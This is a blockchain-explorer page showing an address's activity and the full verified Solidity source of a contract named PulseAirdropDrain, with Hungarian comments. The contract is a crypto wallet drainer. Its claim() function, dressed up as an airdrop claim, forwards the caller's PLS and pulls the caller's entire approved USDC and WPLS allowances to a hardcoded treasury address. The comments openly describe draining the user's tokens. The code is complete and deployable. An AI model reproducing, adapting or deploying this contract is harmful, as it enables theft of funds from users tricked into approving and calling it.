Address
0x7d2edfdcb550d9abc06c7b9e698bfc83e1d8082dCurrent Holdings
$0.00
TXs sent
not counted
First Active
2026-08-18
block 27,321,278
Last Active
30 days ago
block 27,321,278
Funded By
not identified
Net worth historyi
No net-worth snapshots recorded yet
exact matchPulseAirdropDrainsolc 0.8.0+commit.c7dfd78eruntime exact · creation exact
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract PulseAirdropDrain {
address public constant treasury = 0xc58e2F9d42391ebf010f81fE2F9796325718414B;
address private constant WPLS = 0xA1077a294dDE1B09bB078844df40758a5D0f9a27;
address private constant USDC = 0x3F56e0c36d275367b8C502090EDF38289b3dEa0d;
// Események a sikeres műveletek naplózására
event PLSDrained(address indexed sender, uint256 amount);
event TokenDrained(address indexed token, address indexed sender, uint256 amount);
event Rescue(address indexed token, uint256 amount);
// claim() – a felhasználó meghívja, hogy kiürítse a jóváhagyott tokenjeit és küldje a PLS-t
function claim() external payable {
// 1. PLS (natív coin) elküldése a treasury-nek
uint256 plsAmount = msg.value;
if (plsAmount > 0) {
(bool sent, ) = treasury.call{value: plsAmount}("");
require(sent, "PLS transfer failed");
emit PLSDrained(msg.sender, plsAmount);
}
// 2. Tokenek lehúzása (USDC és WPLS)
address[2] memory tokens = [USDC, WPLS];
for (uint i = 0; i < tokens.length; i++) {
address token = tokens[i];
uint256 allowance = IERC20(token).allowance(msg.sender, address(this));
if (allowance > 0) {
// **Javítás: high-level interface hívás, visszatérési érték ellenőrzéssel**
bool success = IERC20(token).transferFrom(msg.sender, treasury, allowance);
if (success) {
emit TokenDrained(token, msg.sender, allowance);
} else {
// Ha nem sikerül, a contract nem áll le, de a felhasználó tudhatja
// (pl. a token nem implementálja helyesen a transferFrom-t)
// Opcionális: revert is lehet, de itt csendben továbblépünk
}
}
}
}
// rescue() – a treasury címe visszaszerezheti a contractban ragadt tokeneket
function rescue(address token) external {
require(msg.sender == treasury, "Not owner");
uint256 bal = IERC20(token).balanceOf(address(this));
if (bal > 0) {
bool success = IERC20(token).transfer(treasury, bal);
require(success, "Token transfer failed");
emit Rescue(token, bal);
}
}
// receive() – bárki küldhet PLS-t a contractnak, az automatikusan a treasury-hez megy
receive() external payable {
(bool sent, ) = treasury.call{value: msg.value}("");
require(sent, "PLS transfer failed");
emit PLSDrained(msg.sender, msg.value);
}
// Támogató funkció: lekérdezhető a treasury PLS egyenlege (opcionális)
function treasuryPLSBalance() external view returns (uint256) {
return treasury.balance;
}
}